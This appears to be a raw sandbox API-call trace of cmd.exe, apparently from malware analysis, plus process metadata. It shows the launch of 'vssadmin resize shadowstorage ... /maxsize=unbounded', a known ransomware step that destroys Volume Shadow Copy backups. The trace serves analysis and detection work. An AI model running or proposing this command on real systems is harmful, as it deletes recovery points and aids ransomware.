	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0075.970] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0075.970] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0075.971] GetProcessHeap () returned 0x31b0000
	[0075.971] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x0, Size=0x20c) returned 0x31b7860
	[0075.971] GetConsoleTitleW (in: lpConsoleTitle=0x31b7860, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0076.135] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0076.135] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0076.135] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0076.135] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0076.135] ??_V@YAXPAX@Z () returned 0x1
	[0076.136] GetProcessHeap () returned 0x31b0000
	[0076.136] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x400a) returned 0x31b8d60
	[0076.136] GetProcessHeap () returned 0x31b0000
	[0076.136] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b8d60) returned 1
	[0076.136] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0076.136] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0076.136] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0076.136] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0076.136] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0076.136] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0076.136] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0076.136] GetProcessHeap () returned 0x31b0000
	[0076.136] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x58) returned 0x31b7a78
	[0076.137] GetProcessHeap () returned 0x31b0000
	[0076.137] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x1a) returned 0x31b7ad8
	[0076.137] GetProcessHeap () returned 0x31b0000
	[0076.138] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x78) returned 0x31b7b00
	[0076.138] GetConsoleTitleW (in: lpConsoleTitle=0x2f3fc30, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0076.354] malloc (_Size=0xffce) returned 0x3322638
	[0076.354] ??_V@YAXPAX@Z () returned 0x2f3f9bc
	[0076.354] malloc (_Size=0xffce) returned 0x3332610
	[0076.355] ??_V@YAXPAX@Z () returned 0x2f3f774
	[0076.355] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0076.355] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0076.356] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0076.357] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0076.358] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0076.358] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0076.358] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0076.358] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0076.358] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0076.358] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0076.358] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0076.358] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0076.358] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0076.358] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0076.358] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0076.358] ??_V@YAXPAX@Z () returned 0x1
	[0076.358] GetProcessHeap () returned 0x31b0000
	[0076.358] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xffd6) returned 0x31b8d60
	[0076.359] GetProcessHeap () returned 0x31b0000
	[0076.359] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x8a) returned 0x31b7b80
	[0076.359] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0076.359] malloc (_Size=0xffce) returned 0x3332610
	[0076.359] ??_V@YAXPAX@Z () returned 0x2f3f4f4
	[0076.359] GetProcessHeap () returned 0x31b0000
	[0076.359] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x1ffa4) returned 0x31c8d40
	[0076.360] SetErrorMode (uMode=0x0) returned 0x0
	[0076.360] SetErrorMode (uMode=0x1) returned 0x0
	[0076.361] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x31c8d48, lpFilePart=0x2f3f514 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x2f3f514*="Desktop") returned 0x17
	[0076.361] SetErrorMode (uMode=0x0) returned 0x1
	[0076.361] GetProcessHeap () returned 0x31b0000
	[0076.361] RtlReAllocateHeap (Heap=0x31b0000, Flags=0x0, Ptr=0x31c8d40, Size=0x4a) returned 0x31c8d40
	[0076.361] GetProcessHeap () returned 0x31b0000
	[0076.361] RtlSizeHeap (HeapHandle=0x31b0000, Flags=0x0, MemoryPointer=0x31c8d40) returned 0x4a
	[0076.361] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0076.361] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0076.361] GetProcessHeap () returned 0x31b0000
	[0076.361] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x1b4) returned 0x31b7c18
	[0076.361] GetProcessHeap () returned 0x31b0000
	[0076.361] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x360) returned 0x31b7dd8
	[0076.368] GetProcessHeap () returned 0x31b0000
	[0076.368] RtlReAllocateHeap (Heap=0x31b0000, Flags=0x0, Ptr=0x31b7dd8, Size=0x1b6) returned 0x31b7dd8
	[0076.368] GetProcessHeap () returned 0x31b0000
	[0076.368] RtlSizeHeap (HeapHandle=0x31b0000, Flags=0x0, MemoryPointer=0x31b7dd8) returned 0x1b6
	[0076.368] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0076.368] GetProcessHeap () returned 0x31b0000
	[0076.368] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xe0) returned 0x31b7f98
	[0076.368] GetProcessHeap () returned 0x31b0000
	[0076.368] RtlReAllocateHeap (Heap=0x31b0000, Flags=0x0, Ptr=0x31b7f98, Size=0x76) returned 0x31b7f98
	[0076.368] GetProcessHeap () returned 0x31b0000
	[0076.368] RtlSizeHeap (HeapHandle=0x31b0000, Flags=0x0, MemoryPointer=0x31b7f98) returned 0x76
	[0076.368] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0076.369] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2f3f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2f3f2a0) returned 0xffffffff
	[0076.369] GetLastError () returned 0x2
	[0076.369] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0076.369] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2f3f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2f3f2a0) returned 0xffffffff
	[0076.369] GetLastError () returned 0x2
	[0076.369] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0076.370] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2f3f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2f3f2a0) returned 0x31b8018
	[0076.370] GetProcessHeap () returned 0x31b0000
	[0076.370] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x0, Size=0x14) returned 0x31b8058
	[0076.370] FindClose (in: hFindFile=0x31b8018 | out: hFindFile=0x31b8018) returned 1
	[0076.370] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x2f3f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2f3f2a0) returned 0xffffffff
	[0076.370] GetLastError () returned 0x2
	[0076.370] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x2f3f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2f3f2a0) returned 0x31b8018
	[0076.370] GetProcessHeap () returned 0x31b0000
	[0076.370] RtlReAllocateHeap (Heap=0x31b0000, Flags=0x0, Ptr=0x31b8058, Size=0x4) returned 0x31b8058
	[0076.370] FindClose (in: hFindFile=0x31b8018 | out: hFindFile=0x31b8018) returned 1
	[0076.370] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0076.370] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0076.370] ??_V@YAXPAX@Z () returned 0x1
	[0076.370] GetConsoleTitleW (in: lpConsoleTitle=0x2f3f7a4, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0076.642] InitializeProcThreadAttributeList (in: lpAttributeList=0x2f3f6d0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2f3f6bc | out: lpAttributeList=0x2f3f6d0, lpSize=0x2f3f6bc) returned 1
	[0076.642] UpdateProcThreadAttribute (in: lpAttributeList=0x2f3f6d0, dwFlags=0x0, Attribute=0x60001, lpValue=0x2f3f6b8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2f3f6d0, lpPreviousValue=0x0) returned 1
	[0076.642] GetStartupInfoW (in: lpStartupInfo=0x2f3f708 | out: lpStartupInfo=0x2f3f708*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0076.642] GetProcessHeap () returned 0x31b0000
	[0076.642] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x18) returned 0x31b8018
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.642] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0076.643] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0076.643] GetProcessHeap () returned 0x31b0000
	[0076.643] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b8018) returned 1
	[0076.643] GetProcessHeap () returned 0x31b0000
	[0076.643] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xa) returned 0x31b8018
	[0076.643] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0076.644] _get_osfhandle (_FileHandle=1) returned 0x90
	[0076.644] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0076.869] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0076.869] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0076.963] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=f: /on=f: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x2f3f658*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=f: /on=f: /maxsize=unbounded", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2f3f6a4 | out: lpCommandLine="vssadmin  resize shadowstorage /for=f: /on=f: /maxsize=unbounded", lpProcessInformation=0x2f3f6a4*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xea4, dwThreadId=0x7dc)) returned 1
	[0076.976] CloseHandle (hObject=0xdc) returned 1
	[0076.976] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0076.976] GetProcessHeap () returned 0x31b0000
	[0076.976] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b6c58) returned 1
	[0076.976] GetEnvironmentStringsW () returned 0x31b6c58*
	[0076.976] GetProcessHeap () returned 0x31b0000
	[0076.976] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xb1a) returned 0x31b4bd0
	[0076.976] FreeEnvironmentStringsA (penv="=") returned 1
	[0076.976] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0078.616] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x2f3f63c | out: lpExitCode=0x2f3f63c*=0x2) returned 1
	[0078.616] CloseHandle (hObject=0xe0) returned 1
	[0078.616] _vsnwprintf (in: _Buffer=0x2f3f724, _BufferCount=0x13, _Format="%08X", _ArgList=0x2f3f644 | out: _Buffer="00000002") returned 8
	[0078.617] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0078.617] GetProcessHeap () returned 0x31b0000
	[0078.617] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b4bd0) returned 1
	[0078.618] GetEnvironmentStringsW () returned 0x31b8198*
	[0078.618] GetProcessHeap () returned 0x31b0000
	[0078.618] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xb40) returned 0x31b4bd0
	[0078.618] FreeEnvironmentStringsA (penv="=") returned 1
	[0078.618] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0078.618] GetProcessHeap () returned 0x31b0000
	[0078.618] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b4bd0) returned 1
	[0078.618] GetEnvironmentStringsW () returned 0x31b8198*
	[0078.618] GetProcessHeap () returned 0x31b0000
	[0078.618] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xb40) returned 0x31b4bd0
	[0078.618] FreeEnvironmentStringsA (penv="=") returned 1
	[0078.618] GetProcessHeap () returned 0x31b0000
	[0078.618] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b8018) returned 1
	[0078.618] DeleteProcThreadAttributeList (in: lpAttributeList=0x2f3f6d0 | out: lpAttributeList=0x2f3f6d0) 
	[0078.618] ??_V@YAXPAX@Z () returned 0x1
	[0078.618] _get_osfhandle (_FileHandle=1) returned 0x90
	[0078.618] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0078.884] _get_osfhandle (_FileHandle=1) returned 0x90
	[0078.884] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0078.978] _get_osfhandle (_FileHandle=1) returned 0x90
	[0078.978] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0079.072] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0079.072] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0079.354] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0079.354] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0079.447] SetConsoleInputExeNameW () returned 0x1
	[0079.447] GetConsoleOutputCP () returned 0x1b5
	[0079.541] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0079.541] SetThreadUILanguage (LangId=0x0) returned 0x2dc0409
	[0079.603] exit (_Code=2) 
	[0079.603] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 89
	os_tid = 0xf8c


Process:
	id = "27"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x67cea000"
	os_pid = "0xd10"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "26"
	os_parent_pid = "0xfe0"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 86
	os_tid = 0xd00


Thread:
	id = 87
	os_tid = 0x9f0


Thread:
	id = 88
	os_tid = 0xfb0


Process:
	id = "28"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0xc27f000"
	os_pid = "0xea4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "26"
	os_parent_pid = "0xfe0"
	cmd_line = "vssadmin  resize shadowstorage /for=f: /on=f: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
